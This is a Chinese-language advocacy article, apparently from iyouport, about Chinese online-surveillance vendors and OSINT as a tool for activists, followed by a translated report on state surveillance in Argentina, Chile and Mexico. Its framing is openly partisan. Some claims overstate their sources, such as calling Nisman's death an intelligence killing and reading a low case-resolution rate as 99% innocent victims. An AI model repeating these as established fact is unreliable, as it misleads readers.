他们的自我介绍是：“基于全球领先的开源情报提取技术；从社交媒体（推特，**Facebook**，**Youtube**，**Insatgram ...**）和传统网站（论坛，聊天室，新闻**....**）中挖掘大量信息，并通过自动分析和手动处理将其转化为可操作的情报。

KIS在自我介绍中描述它自己可以：

- 监控与相关城市或省相关的所有信息，尤其是所谓的负面信息；
- 后续处理 —— 联系目标网站管理，采取应对措施，毫不拖延。就是删帖；
- 实时监控 Twitter / facebook、 youtube，bbs，博客，论坛；
- 监控聚焦QQ /微信群组的聊天内容
- 跟踪某个主题或作者的所有信息 ……

KIS在自我介绍中描述它的目的是：

■ 消除或尽量减少偶然的负面信息对相关省/市和政府官员形象的不利影响—— 洗地；

■ 识别和理解目标省/市的舆论，解决刚出现时的冲突—— 维稳；

■ 识别网络内容的威胁（例如泄露机密信息）—— 封口；

「下图是该监视系统的三个子系统构图」

KIS 在其介绍中表示：

- 政府用户可以在该监控系统中自行添加新闻网站、论坛网站等监视目标网站；
- 并且，谷歌、**Twitter** 和 **Facebook** 都是已经内置的监控目标；
- 自动提取子系统还可以监控基于应用程序的网络聊天室；

「自动提取子系统的全方位监控功能如下图所示」：

KIS 的介绍中还强调该监控系统的诸多“优势”：

- 在中国国内收集被GFW封锁的外国网站、收集受源IP和访问频率限制的网站、以及自动收集代理**IP**地址，无需进一步配置。
- 设置关键字后，一旦收集到的内容中出现一个或多个关键字，就可以将记录发送到相关的短信接收器，进行无人值守的实时监控 ……

作为服务于政府的开源情报公司，**KIS**成立于**2003**年（美亚柏科成立于**1999**年），也就是说，在近**20**年的时间里中国当局一直在 **至少** 使用上述方法监控全网。

加之，中国总理李克强在2015年对所谓的“互联网＋”的大力推动、对云计算、大数据、物联网等现代技术在政策方面的支持 —— 政府设立了400亿元新兴产业创业投资引导基金—— 相关监视技术供应商得到了更加快速的发展。

同时期开始，大数据和云计算技术成为多家大型网络公司的开发重点 —— 作为网络维稳的“必要工具”。

以美亚柏科为例，云计算的作用主要是结合大数据方面做舆情监测，项目可提供给省级及以上的政府机构，包括公安、国安等部门，财报显示这是该公司2013年的重点项目，是2014年收入和利润的重要来源。

其次是网络监控，主要表现在舆情监测和证据固定等方面，美亚柏科不仅是技术的开发、提供者，而且是具体服务的执行者，该公司还负责“舆情分析师”培训。

其三是信息收集和分析，也就是大数据服务，可以提供给其他部门。最后，其他服务主要是系统和设备，各种数据采集、存储、传输等。这部分在美亚柏科公司官网中“产品和服务”一栏里面有写明，存在与政府当局较为密切的关系。

已知的同类监视公司不仅包括KIS，还有邦富（互联网舆情监控及分析系统、GIS舆情预警系等）、启明星辰（互联网行为监控、防火墙等）、浪潮（云计算、大数据、服务器）等等……

公安IT系统建设是极早的，2006年就已拥有了成熟的数据中心，而公安几乎和所有行业在数据层面都有密切交互。

浪潮信息副总裁彭震曾特别提到：“浪潮服务器已经在80%省份公安系统中得到广泛使用，浪潮的大数据产品早已走入公安系统”。

浪潮信息云产品部副总经理李忠旭曾表示：“以全国八大信息库为基础，以五大案件（人、地点、机构、物品、案/事件）要素为基本信息分类，以‘大情报系统’建设为突破口，公安可以很快建立起新一代大数据云应用平台。这其中，面向海量非机构化数据的存储和分析处理；面向海量数据的在线查询；面向海量关系型数据的分析挖掘的浪潮大数据一体机和相关解决方案提供商将能提供更多帮助。”

很明显，这是一套完整的网络数字镇压技术支持。

从讯息的挖掘、监控、分析到共享，大数据和云计算技术使政府相关

部门具备了更强的维稳实施能力，可以更快速洞察线下维权抗争事件的发生并快速做出反应，全面监控收集庞大的数据资源，优化了维稳系统，线上线下相结合，“互联网＋” 数字镇压O2O（线上到线下模式）。

> When you give in to privacy nihilism and you decide that you are not going to do anything, you’ve let the government win already.

社会反应

「图」

最初的几年里，人们仅仅是 *知道* 有谁因网络言论而被捕—— 是的，中国当局并不刻意掩盖这点，相反，他们默许受害者及其家人和朋友通过互联网传播被捕的消息，以此来激发更大范围内的恐慌和自我审查—— 却很少有人会思考关于 “当局是如何发现我的真实身份的？”

由于寒蝉效应格外明显，大众倾向于将政府视为无所不能和至高无上，以至于保护性措施的推动在同期遭遇了严重的阻力，人们会说 “没用的，他们（政府）能做到一切”。

当这一想法随着时间的推移被深化时，它就变成了 “莫谈国事”。在线中文群组多如牛毛，人们用来拉拢彼此之间的感情，但几乎没有任何群组能就一个主要/关键社会议题展开有效的讨论，是的，包括加密群组。

来自中国的联系人在通过加密通信应用和匿名邮箱与我们联系时，继续使用只有我们和他才能懂的暗语。因为他也预设了政府无所不能的前提，他保持了自己在任何情况下都使用暗语的习惯。

“他们（政府）总有办法知道你是谁”，人们这样说，从而对任何匿名策略建议表示怀疑。

尤其是中国的异议人士、记者和活动家，在中国这些群体普遍对技术陌生，为了支持自己的坚定，其中大部分人将 *主动实名* 视为勇气的象征，从而拒绝任何化名掩盖真实身份的措施建议。

当然，也有一些现实的理由，比如记者和人权律师，他们需要在线实名，以“可靠的形象”联络需求者；他们会在线发布大量的个人信息，

比如照片、视频、联系电话、甚至分享实时的地理定位。

但这不是一成不变的。逐渐的，人们的思想开始转变，尤其是在越来越多的网络用户被传唤、被恐吓剥夺权利、甚至被逮捕之后，包括身在海外的留学生。传闻开始怀疑例如 Twitter、Facebook 等美国平台与中国政府合作暴露用户的私密信息。

并不排除这种可能性，就如美国公司帮助中国构建的那些监视技术一样，不为人知的暗地合作恐怕永远都揭露不完。但是，对于绝大多数言论罪的案例来说，事实上当局完全不需要这些美国寡头公司的配合，因为受害人几乎没有认真采取保护措施。不仅当权者，任何人都不难追踪到他们的真实身份。

为了能够实现最有效的防御，我们应该将精力用在最有针对性的位置上。

这就是我们采取开源情报的主要目的：对抗性思考方式。

开源情报的优势

「图」

当然我们承认，对抗性思考方式并非开源情报的常规用例，该社区中多数参与者均致力于[期待于]为情报机构服务（期待作品积累以丰富简历进而寻求相关工作）。也因此，其中很多作品的主题侧重于地缘政治、维稳、贴近政府议程。

这绝非我们想要的，相反，是我们致力于防止的东西。于是，这就出现了一个“捷径”—— 开源情报社区的很多演示来自于接受过专业培训的人员，或其本身就是培训师，于是这些内容能在一定程度上帮助防御者捕捉到追踪者的思考方式。

如上所述，开源情报作为公民反抗工具的用例非常多，它可以是直接行动的一部分。比如：# 作证。联合国已经将开源情报调查报告作为确定侵犯人权行为的证据；

- 事实核查。操纵公民的认知就能操纵民主，这就是为什么当权者愿意一掷千金投入信息战交易，黑公关产业风靡全球。核实和揭露虚假信息对民主维护至关重要。
- 信息战。你看到的“民意”究竟是不是真的？是谁在背后试图分化反抗者社区让人们处于无意义的争吵中一事无成？曝光信息

战网络，及时排除诱导和操纵，避免活动家偏离目标。
- 寡头公司的内幕。对于政治旋转门的挖掘将帮助您理解深层局势、并制定更有效的反抗计划。
- 此外，揭露诈骗、寻找失踪人口等等，都是社区自治的有效工具。

1. 在这里看到分析《看清信息战：2019全球有组织社交媒体操纵清单》
2. 不要错过我们的 《变得难以被追踪》系列，这是您基本需要做到的
3. 透明度革命中对吹哨人提供的资料需要开源情报技术以验证真伪；

- 开源情报追踪调查需要透明度革命的支持才能挖掘到更深层内幕；
- 传统抗议需要开源情报思考方式以躲避监控镇压；
- 黑客主义行动计划既需要开源情报做侦查手段也需要透明度革命带来的曝光作为知情基础，还需要社交工程战术以获得入口 ……
- 我们希望介绍它们所有，因为它们的确是一套综合性的知识 ，关于，如果想要成功您需要什么。

您可以将这些知识进行最适当的组合以满足您的具体目标。期待您的伟大成就。〇

原文

LR 铁幕之下：全球反抗者如何对战监视者？ - iyouport

政府的间谍行为社会反抗和思考维稳面面观长读

【2020年2月26日存档】这是一个长篇报告，充满了恐怖的反乌托邦事实，从大规模监视到间谍软件，从窃听到入侵，从在线追踪到法外杀戮 .....并且，美国和欧洲的很多民主国家都在上述灾难的构建方面起着绝对重要的作用。中文读者将能看到，中国的反乌托邦灾难绝不是特殊的。尤其是这份报告的最后，将介绍反抗者如何与联合国合作以拯救这些灾难。

行使隐私权扩展到访问和控制我们的数据和信息的能力，处理方式、由谁处理、以及出于什么目的。对于生活中监视国家中的人们来说，这项能力尤其重要。

实际上，许多国家的第一个数据保护法规是在结束残酷专政之后重塑民主体制的一种方式。

尽管世界各地的数据保护法规往往具有一套相似的核心原则，但是，⚠总体上，政府和公共部门始终会从一揽子豁免或非常广泛的例外中受益。

- 并且要知道《“数据所有权”不仅无法解决现有问题，它还制造了新的问题》
- 《为什么说欧洲新法规反而会加强 Facebook 和Google 的霸权？》
- 《以隐私为目的的斗争如何让你变成了监视的盟友》

虽然存在与使用公民数据才能交付某些公共物品的需求相关的挑战，其中一些可能是合理的，但是，这些需求通常都被夸大了，并导致多种形式的滥用和侵犯人权行为。

⚠在情报饥渴和大规模监视痴迷的问题上，全球所有国家都一样 ——

它们以所谓的国家安全的名义从事大规模的信息收集和处理，同时又过分保密政府的阴暗面，缺乏监督和问责制。

所有这些都强调了对有意义的控制机制的需求。

迫切需要创建和执行易于访问，清晰且具有包容性的控制机制，以使人们知道自己的数据正在被如何收集、如何由公共机构处理和共享，尤其是在执法和情报机构内部；赋予人们有效的补救机制，并在必要时有权访问、纠正、甚至彻底删除其数据。

为了拥有强大的基本隐私权，我们需要在机构何时以及如何使用我们的个人信息方面保持真正的透明。

这也与我们如何保护和促进我们自己的所有基本权利直接相关，特别是言论自由权、获取信息的权利、以及集会和结社自由的权利。

隐私国际组织致力于通过研究监视的工作方式、监视使用的工具、方法和做法，以便使用透明度和获取信息机制来了解和挑战这些做法。

以下是相关报告。

阿根廷：没有到来的变革

「图」

来自阿根廷公民民主协会（ADC）的合作伙伴对阿根廷情报系统进行了研究，该情报系统早就应该进行改革以改善其工作模式和对基本权利的尊重。

阿根廷任命新政府18个月后，情报系统对窃听活动的控制方式进行了改革，并任命了新的主管机构。

然而，这些都未能带来必要的变革，仍然没有透明度、没有效率，没能将民主进程整合到系统内。

公民权利组织 ADC 的报告显示，⚠改革过程实际上已被用来加强政府对情报服务的控制，恰恰与民主背道而驰。

阿根廷是有数据保护法的，也有宪法规定保护公民“私人行动的自由”；但是，该国同时还有一个国家生物识别数据库，称为SIBIOS；各种监听监视和管制模式与中国非常相似。

早在美国之前，布宜诺斯艾利斯就宣布了将采用空中气球老大哥，以实现对某些区域的360度无死角实时监控。（去年美国采取的气球监视引起了公民极大的愤怒；中国早在2015年就在新疆采取了浮空器监视，在这里看到所有“热门”监视技术的报告）

间谍机构 ——

情报秘书处由 Juan Perón 将军于1946 年成立，当时是国家信息协调秘书处（SIDE）。

它是一个民用情报机构，其任务是提供国内和国外情报。它在阿根廷军政府独裁时期（1976–1983年）演变成为一支秘密警察部队，并被军政府用来追踪其对手，并监视包括工会主义者和其他左翼活动家在内的所有人，他们把活动家称为“颠覆分子”。

该秘书处在1983年向民主过渡期间幸存下来了。

但是，在军事独裁统治结束之后，新政府致力于明确重新定义政府与军方的关系，以防止军方再次镇压政治异议人士。

负责维稳的两个机构（军队和警察）之间的区别被用作区分两种形式的情报的基础。

2001年通过的《情报法》创建了国家情报系统，该系统由三个机构组成：情报秘书处、国家军事战略情报局（DirecciónNacional de InteligenciaEstratégicaMilitar）和国家刑事情报局（DirecciónNacional de Inteligencia Crime）。

后两个机构反映了两种形式的情报之间的区别。

但是，这种区别纯粹是形式上的和组织上的，因为《情报法》将两个局都置于情报秘书处的负责下，情报秘书处是国家情报系统的上级机构。

2015年3月修订了《情报法》。修订法创建了联邦情报局（AFI），该机构取代了情报秘书处成为国家情报系统的最高机构。后者基本保持不变。

预算 ——

国家情报系统内每个机构的拨款究竟是多少？根本没有明确的说明。

阿根廷记者Gerardo Young 在他的书《*CódigoStiuso*》中写道：

“ 情报秘书处未说明其支出。情报预算花了多少钱？没人知道，除了在 La Casa 内的极少数几个人外之外。

2003年，情报秘书处的预算为**2.38**亿比索。每天超过**65**万比索。

但是……账目无法解释这些金额。

SI 每年花费 7900 万在工资上，平均每位员工每月 2530 比索。该信息不能被掺假：流入工资的资金不能被修改，因为工资大部分是正式支付的。

但是，关于剩余的1.59亿，没有任何信息。

这些钱的唯一呈现方式是一份极简的清单，该清单已发送给国民议会。这是一份目标过于模糊的清单…：其中写着 预算投资于窃听、与走私和毒品贩运有关的调查、秘密基地、和汽车的维修、以及日常开支……没有任何细节，无法控制，肯定是错误的。”

拦截通讯 ——

在建立AFI的同时，将侦听能力从该情报机构分离为一个新的实体，即 公共事务部辖下的侦听和通信截获部（DICOM 的侦察和捕获部门）这是唯一获准进行主管司法当局授权的通讯拦截的国家实体。

到2015年12月，行政长官发布了第256/15号法令，确立了将 DICOM 移交给最高法院的轨道，并于2016年2月15日成立了通信监察局（DireccióndeCaptaciónde Comunicaciones，DCC）取代 DICOM。

由于在布宜诺斯艾利斯举行的G20峰会，情报机构之间的信息交流有所增加。

据阿根廷媒体报道，情报共享不仅用于移民目的，特别是与德国、英国、美国、法国、澳大利亚、中国、和以色列，更重要的是，⚠在整个活动的组织过程中，与以色列情报部门的合作一直保持不变。

⚠阿根廷国防部还与以色列对口方签署了一项总金额为**520**万美元的协议，以提供网络防御和网络安全方面的服务，特别是网络紧急响应小组（CERT）和计算机安全事件响应小组（CSIRT）。

监控能力 ——

过去几年中出现了多份报告，记录了与法律承诺有很大差异的现实。

根据记者 Gerardo Young 在他的书《阿根廷的秘密》中所记录的，⚠每年向电话服务提供商支付数百万美元用以建立拦截系统。

据报道，⚠诺基亚西门子通信公司还向阿根廷的电话提供商提供了一个数据语音呼叫记录和采集装置，情报部门就在电话提供商的总部设有办公室，专门用于监听。

隶属于阿根廷情报局的情报特工 Jaime Stiuso 多年来一直被视为阿根廷最强间谍，他在很大程度上*不按法律规定*管理前情报局。

2015年，进一步的丑闻爆发，当时检察官阿尔贝托·尼斯曼（Alberto Nisman）一直在对伊朗的参与进行司法调查，然而1月18日他被发现死在公寓里。

据称，在进行了为期10年的调查中，尼斯曼收集了很多电话录音，其中显示伊朗和阿根廷政府之间进行的秘密交易以换取经济利益。

尼斯曼在调查期间与海梅·斯修索（Jaime Stiuso）密切合作，据称情报部门参与了他的死亡。简称灭口。

监视技术 ——

2014年3月，在布宜诺斯艾利斯举行了名为 Segurinfo 的监视技术会议，而在2015年9月，布宜诺斯艾利斯又举行了一次名为 Seguriexpo 的同类会议。

参加 Segurinfo 的政府成员中包括塞尔吉奥·布兰科（Sergio Blanco）他是管理技术的部长。

出席 Segurinfo 的公司包括 Dreamlabs、Widefence、Blue Coat、思科、阿尔卡特朗讯、和3M。此外，Blue Coat 还被发现在阿根廷设有办事处（Blue Coat 于2016年被赛门铁克并购）。

在德国的一项议会调查显示，在过去十年中，德国政府已将监视技术卖给了阿根廷。

- 《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》

2015年7月，在意大利最臭名昭著的间谍软件供应商 Hacking

Team 被泄露内部信息之后，该公司与阿根廷的多家中介机构进行了谈判。

据称这些中介机构与执法机构和国家情报机构都有联系。

- 在这里看到《对 Hacking Team 被泄密文件的开源情报分析》
- 《Wikileaks：异议记者遇害案嫌犯之一曾接受 Hacking Team 间谍软件培训; 与沙特王储关系密切》
- 《独立记者在昂贵的铡刀之下》

2017年7月上旬，布宜诺斯艾利斯市长霍拉西奥·拉雷塔（Horacio Larreta）与安全部长帕特里夏·布尔奇（Patricia Bullrich）共同推出了“航空监视系统”，其目的是将监控摄像头安装在气球上，以便对特定区域进行360度监控。

据 LaNación 报纸称，⚠该监视系统是一种 “带日夜两用摄像头的、自供电的、和实时视频传输的监视装置。它可以在市区内升起，允许360度视角”。 该系统还被用于2018年夏季青年奥运会的开幕式上。

部分监视实例 ——

⚠左翼活动家是被重点监视目标之一。

2011年11月，阿根廷报纸 Página12 透露了一个存在多年的名为 Proyecto X（Project X）的数据库，该数据库最初是为了收集有关毒品交易者的数据于2002年创建的，并于2006年进行了更新。

但是，该数据库以左翼活动家和工会主义者为目标。

⚠该数据库收集了有关个人的尽可能多的私密信息。包括一般信息，例如 地址、银行详细信息、财产、政治背景，以及私人信息，例如性偏好、以及此人是否吸烟。

⚠报告还显示，警察渗透了抗议活动和政治会议，以收集信息。

- 《您应该了解的政府监视项目》
- 《什么是秘密行动？政府间谍如何渗透活动家组织？》
- 《如何应对当局的渗透》

2012年2月，政府的回应声称 Proyecto X “已过时”，但是，左翼活动家仍然被瞄准。

人权律师尼古拉斯·陶伯（Nicolas Tauber）对国际隐私组织说，他遇到了多起案件，受害人收到了语音邮件，其中包含过去被窃听的电话交谈。

他还说，⚠有许多人权律师都曾是盗窃案的受害者，但只有电子设备被盗。

他说，自己的办公室已经成为目标，而其他不在人权事务上工作的律师都没有被盗，但他自己的USB记忆棒却不见了。

身份证和数据库 ——

1、国民身份证

自1968年以来，阿根廷公民有义务从内政部下属的国家公民登记处（RENAPER）获得国民身份证（DNI）。

2014年，RENAPER 发布了第3020/14号决议，其中确定唯一有效的身份证明文件是*新的数字身份证*，该身份证将公民的生物识别数据数字化并收集到一个统一的数据库中。

- 如今生物识别身份证甚至大范围普及了，见《生物识别身份证》

自2009年11月以来，RENAPER 已发行了超过**4100**万张生物识别身份证。

有问题的数据库是联邦生物识别系统或 **SIBIOS**（Sistema Federal deIdentificaciónparamése la Seguridad）由1766/11号行政命令于2011年创建隶属于安全部。

⚠SIBIOS 收集的生物识别数据主要包括指纹和面部图像。SIBIOS 的主要用户是联邦警察、国家宪兵队、国家海岸警卫队、机场警察、RENAPER 和国家移民局。

自2017年4月起，第243/17号行政命令扩大了对 SIBIOS 的访问范围，使其“覆盖国家、省和自治市行政部门或司法机关的所有机构（…），以便他们能够实时进行生物特征查询”。

2018年12月， 议会批准了一项法律， 以实施“国民学生证”，记录学生的出勤情况。

2、选民登记

在2017年8月18日的立法选举中，国家选举委员会（CNE）开展了一项生物识别选民身份登记的试点计划。

通过第50/17号特别协议，在选民识别过程中使用了生物识别数据，尤其是指纹。该过程是自愿的，但是收集了 362,460 人的生物特征数据。

在公民权利组织 ADC 向CNE提出信息自由请求之后他们发现，此过程存在问题。

例如，CNE 给出指定行动的原因之一是移民问题。然而，正如ADC所言，这方面尚未被证明是选举进程正确发展的障碍。

实际上，该项计划的目的之一就是在生物识别方面构建数据库。

⚠就如中国的诸多实践一样，包括刷脸才能乘坐地铁、北京通，等等，他们的目的是采取一种人们难以拒绝的方式进行大规模收集。

3、SIM卡注册

2004年颁布的有关移动通信服务的第25/891号法律规定，所有移动电话用户都必须强制实名**SIM**卡。

安全部长于2016年4月宣布，该部将与交通部合作，建立一个SIM卡国家注册簿，以将被盗的电话卡从市场上移走并在电话公司的帮助下使其失效。

2016年11月，通信部和安全部宣布创建移动通信服务用户身份注册中心。它要求 ENACOM 创建一个载有所有移动通信用户身份的注册表。因此，每个电话号码都将链接到其所有者的真实身份。

2017年5月，安全部再次与 ENACOM 一起发起了一个新的活动，名为“注册您的电话并安全通话”，⚠以促进通过识别电话所有者、IMEI和电话号码来监视预付费移动电话线路。

2018年5月早些时候，安全部、宪兵队、海岸警卫队、和机场警察的IT基础设施 据称遭受了攻击，政府内部消息人士指出这是DDoS攻击。调查的进一步细节未知，但已知开始的是刑事调查。

行业许可 ——

直到最近，⚠阿根廷的电信业仍是由间谍机构通信秘书处（SECOM）和国家通信委员会（CN）监管的。

2014年12月16日通过的《阿根廷数字法案》确定，联邦信息技术和通信管理局（FAITC）将继续执行对 SECOM 和 CNC 先前执行的任务。

FAITC 负责：

- 总体上对信息通信技术（包括邮政）进行监管、控制和监视；
- 促进和规范对包括宽带和互联网在内的信息通信技术和电信服务的获取；
- 授予和宣布电信运营商的许可证和许可证的有效期；
- 确保公司符合预期的质量标准。

简单说，有点类似于中国的工信部。

1990年，阿根廷政府将国有电话公司 Entel 私有化。目前，排名前四的移动网络运营商是 Claro（由 AméricaMóvil 拥有），Movistar（由 Telefónica 拥有），Personal（由阿根廷电信拥有）和 NEXTEL（由 NII Holdings 拥有）。

主要的互联网提供商是 Fibertel（由 Grupo Clarin 拥有），Arnet（由阿根廷电信拥有）和 Speedy（Telefónica）。

所有公司均为私人所有，且大多由外国公司所有。Telefónica 是西班牙人所有，AméricaMóvil 是墨西哥人所有，NII Holdings 是美国人所有，Telecom Argentina 由意大利电信拥有一半（另一半属于一个阿根廷家族）。

阿根廷记者 Gerardo Young 在他的书《CódigoStiuso》中记录道，⚠政府每年向电话服务提供商支付数百万美元，以建立拦截系统并促进窃听（p.175）。

很多专家认为，ICT的新法规（第267号法令和第1340号法令）有利于某些大公司的需求，并促进了市场集中度的提高，而这些市场的主导地位对竞争构成了更大的障碍。

2016年7月，国家互联网域名注册局启动了一项新的域名管理规定。

该决议确定，为了能够执行诸如注册、转移和/或取消之类的任务，用户必须具有安全级别3 的“ 财务密码 ”（Clave Fiscal），⚠□这意味

着该人必须注册自己的生物识别数据发送给联邦公共收入管理局（AFIP），特别是指纹、面部照片和签名。符合上述要求的任何人都可以免费注册“ .com.ar”域名，注册和续约均需付费。

智能城市 ——

阿根廷是所谓的智能城市的热心追求者之一；且目前不知道在这方面的任何一种考虑中包含隐私。

- 在这里看到《全球智能城市调查报告：你被剥夺了什么》

在这里看到完整版报告：https://adcdigital.org.ar/portfolio/cambio-no-llega-sistema-de-inteligencia/

智利：数据保留与人权

「图」

来自智利的 Derechos Digitales 将他们的研究重点放在整个拉丁美洲的数据保留和手机注册方案上。

一般而言，数据保留，尤其是移动用户数据，会严重影响人权，例如隐私权以及表达和思考的自由权利。

数据保留政策的任何实施都应至少遵守一系列前提条件，以保证公民能充分享受这些人权，首先要证明这些政策是否必要和成比例。

该研究还对墨西哥、巴西、哥伦比亚、秘鲁、阿根廷和智利进行了比较关于数据保留政策的分析，根据美洲背景下的国际人权标准对其进行了评估，设定了参数以评估美洲国家的类似举措，例如 作为一项法案，要求在巴拉圭建立移动用户生物识别数据库，该数据库最终被巴拉圭总统否决。

智利宪法的第19条明确承诺保护公民享有私生活自由的权利。该宪法于2018年进行了改革，为个人数据保护添加了特定权利；而且，1999年， 智利成为第一个通过全面数据法的南美国家。

然而，⚠非法监控的丑闻被曝光后，仅仅以几名警员的辞职而告终。

监视行为者 ——

维稳和执法机构

负责国家安全的部门是内政和公共安全部及国防部。

内政和公安部的部分职责是：

- 向总统提出有关维护公共秩序、安全和社会稳定的国内政策的规则和行动；
- 促进和协调预防和控制犯罪、暴力和再犯的措施；
- 确定和评估旨在控制犯罪和警察对违反刑法的行为的措施；
- 与公共或私人机构（包括市政当局）签订有关制定，实施和评估内部安全和公共秩序的政策、计划和方案的合同。

国防部的主要职能是：

- 提出和评估国防政策、军事政策和国防计划；
- 研究、提出和评估适用于国防部门的政策和规则，确保合规；
- 研究财务需求并提交年度预算草案；
- 依法分配和管理适当的资源；
- 监督国防部门的活动，并确保在组成国防部门的机构中进行有效管理；
- 向国会报告国防政策和计划；
- 监督国防部门的资源、服务和机构的投资。

智利的主要情报机构是内政部下属的国家情报局（**ANI**）。它成立于2004年，是国家情报系统（Sistema de Inteligencia del Estado）的负责人，该机构负责协调军事情报和警察情报工作。

其他军事和执法机构的情报部门是国家情报系统的一部分，包括：

- 国防总参谋部国防情报局（DID）—— 创建于1942年；
- 陆军情报局（DINE）—— 成立于1891年；
- 海军情报局（DINA 或 DIRINTA）—— 创立于1965年；
- 空军情报局（DIFA）—— 成立于1976年；
- 内政部下属的警察情报局（DIPOLCAR）；
- 国家警察情报、毒品和刑事调查局 —— 成立于2014年。

监视能力 ——

1、拦截工具

2003年，调查新闻中心（CIPER）进行的一项调查显示，警方正在利用装有天线的汽车、一台运行某种软件的笔记本电脑，其logo是“一根麻雀在树枝上，来截获通讯数据”。

根据该调查的消息来源，⚠这允许警察监听和记录任何电话。如果消息来源的观察是正确的，则该设备的一个可能的提供者是监视技术公司 Almenta。

较早的一篇关于拦截的法律程序的文章描述了某种拦截过程，涉及警察局内部获取电信公司提供的IMEI号码；监视的官方还配备了录音设备。

2、监视技术公司

监视技术展览会 Sicur Latino America 通常在每年10月左右在智利举行。⚠智利政府正式赞助了该活动。

⚠智利有许多国家级的甚至国际级的监视技术公司。

深度包装检测制造商 Blue Coat 就在智利设有办事处。根据德国议会的一项调查，德国政府还向智利出售了监视技术。

一家名为 Mipoltec 的本地公司充当中介机构，⚠以从 Hacking Team 等臭名昭著的老大哥公司收购监视技术。

以色列 Rebrisa 的子公司 Global Systems Chile SpA 已将其监视气球出售给了圣地亚哥省 Las Condes 镇，该公司最近还赢得了与监狱当局一起提供智能脚镯以监视囚犯的合同。

最高法院关于圣地亚哥视频监控气球的裁决对智利的监控产生了影响。

最高法院制定的授权制度包括：仅在公共场所进行记录，由市政检查员对私人空间进行的记录进行监督，并在30天后删除内容，由授权人员对图像进行有记录的访问。

数据保护 ——

1999年，智利成为第一个通过全面数据法的南美国家。但是，该法律很薄弱，因为它不授予数据与“私人生活”或“私人通讯”同等的受保护地位，而这些基本权利受《宪法》保护。

因此，⚠在违反数据保护的情况下，不能针对国有或私营公司采取宪法行动。

根据公民社会团体 Derechos Digitales 的说法，该法律的存在是为当

前的数据处理提供法律框架。

并且，尽管有数据保护法，智利却没有数据保护机构。

塞巴斯蒂安·皮涅拉（SebastiánPiñera）的现任政府已对数据保护法案提出了修正案，将DPA职责移交给了智利透明度委员会，而不是创建一个新的代理机构。

身份证和数据库 ——

1、身份跟踪

1969年开始，国税局（Internal Tax Service）引入了一种新的方式来识别纳税人，方法是提供身份证号码与民事登记处的题字号码相关。

这个号码叫 RolÚnicoTributario 于1973年被扩展为覆盖所有人的“RolÚnicoNacional”（唯一国民身份号码）。

公民登记处会在所有智利公民出生时为其分配一个编号。同一实体发行的身份证最长有效期为10年。

政府还为外国人发行身份证，如果他们希望成为居民，则必须注册并获得RUN号，即使只是暂时的居留 —— 就像中国的暂住证。直到2014年，RUN号也和护照号相同。

⚠智利是第一个拥有基于面部识别生物识别技术的、功能齐全的边境管制站的国家之一。

旅客在圣地亚哥机场的60个亭子之一中扫描护照，并将护照照片与数码相机拍摄的照片进行比较。

确认过程将根据国际刑警组织的面部数据库和智利当地数据库检查面部图像。调查警察（Policíade Investigaciones）可以使用此系统。

教育系统中包括婴儿、儿童和大学生的身份识别计划，由教育部下属的 JUNAEB 控制。

该系统允许在学校提供食物，并为大学生提供经济资助，⚠该系统已纳入生物识别技术，并于**2016**年进行了测试，于**2018**年开始全面运行。

在最高法院的一项裁决中规定，对未成年人使用生物识别技术必须征

得其父母或法定监护人的同意。

2、选民登记

根据第18.556 号法律第33条，每次选举的选民名册都必须在选举开始前90天公布。包括选举登记处的地址。该项登记不能用于商业目的。

但是，从法律上讲，⚠它是可公开获得的个人数据来源，可以从中建立新的数据库。

由于缺乏对获取的信息的安全措施，这样的数据库很容易产生，例如这里。

3、SIM卡注册

没有要求实名注册预付费的SIM卡。但是，国会有两项法案，其中一项在众议院，一项在参议院，⚠正试图使SIM卡注册成为强制性法案。

交通 ——

交通卡于2003年在圣地亚哥引入，作为地铁系统的一种付款方式。

随着 Transantiago 于2007年的推出，它们的用途得到了更多的扩展，Transantiago 是一套全新的城市公交路线。

⚠该系统会保存每张预付费交通卡数据的最后90天的信息，包括当前金额、此卡用于验证行程的时间、公交路线、所使用的地铁站、以及每次使用该卡时的充值情况。可以在网站上使用此卡的唯一编号来检查上述这些信息。

小学、高中和大学可以从减价交通卡中受益。该卡（Tarjeta Nacional Estudiantil）还可用于将其持有人识别为学生，并保留有关其持有人的信息。

2018年8月，⚠瓦尔帕莱索（Valparai´so）的城市火车系统已经开始在其车站测试面部识别监控的使用情况，目的是强制支付服务费用。中国在去年也实施了这种方法，见《交出你的脸，否则不许乘坐地铁》。

历届政府都提出了类似的制度，以强制“首都”和该国最大城市的公共

系统“ Transantiago” 的付款。

智能城市 ——

政府已在许多公共场所安装了闭路电视摄像机（CCTV）。

智利至少有一家公司为“智能城市”计划提供了政府解决方案。

NEC 提供了一系列涉及隐私侵犯的传感器，监视和控制智能城市技术。

社交媒体情报 ——

2011年，政府因宣布与 BandMetric 公司签约，⚠以监视公众在社交网络上表达的对政府的看法，而受到严厉批评。

但是，有证据表明，现任政府仍在使用 BandMetric 的社交媒体监控服务。

- 《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》
- 《社交媒体情报和反情报基本工具手册：自我人肉（2）》

在这里看到完整报告：Read report: “Retención de datos y registro de teléfonos móviles” (in Spanish)

墨西哥：政府监视已全面开展

「图」

墨西哥 权利组织 R3D 一直在研究法律、法规和有关国家监视的问题，以确定哪些机构有这样的能力，以及如何将人权保障被应用到他们的工作中。

R3D 一直在使用针对政府实体和 IFT（联邦电信学院）的公共信息请求作为收集其用于研究的原始数据的手段。

他们发现，⚠在超过90%的案例中，监视是在未经司法授权的情况下使用的，只有不到百分之一的使用监视的调查案件得以解决，也就是说，99%的监视都是无辜者的灾难。

他们的调查于2016年底发表，题为“ Estado de Vigilancia”（监视状态）。

R3D 进行的研究得到了补充证据，⚠表明在针对民间社会活动家、人权捍卫者、以及其他政治和外交行为者的监视运动中，当局使用了恶意软件。

这个故事（在《纽约时报》的首页上有 报道）产生了巨大的影响。

此外，R3D 很快就发布了有关政府使用恶意软件的进一步研究，表明该国非法使用监视手段的扩散仍在继续。

墨西哥宪法第6条明确规定了隐私权。而且墨西哥有多项法规规范了数据保护。数据保护机构也存在，是'INAI'。

但是，显然，都没用。

监视行为者 ——

根据《国家刑事诉讼法典》（CódigoFederal de Procedimientos Penales）和适用的法律，唯一有权进行通讯监视的机构是：

- 联邦警察；
- 研究与国家安全中心（CISEN）；
- 检察机关。

监控能力 ——

1、执法部门访问通信数据

墨西哥政府似乎对监视通讯特别感兴趣。

根据路透社2015年获得的数据，墨西哥移动运营商收到了来自当局的 55,000多个数据请求，⚠要求提供有关公民电话、短信、和位置数据的详细信息。这比2013年增加了近**25**%。

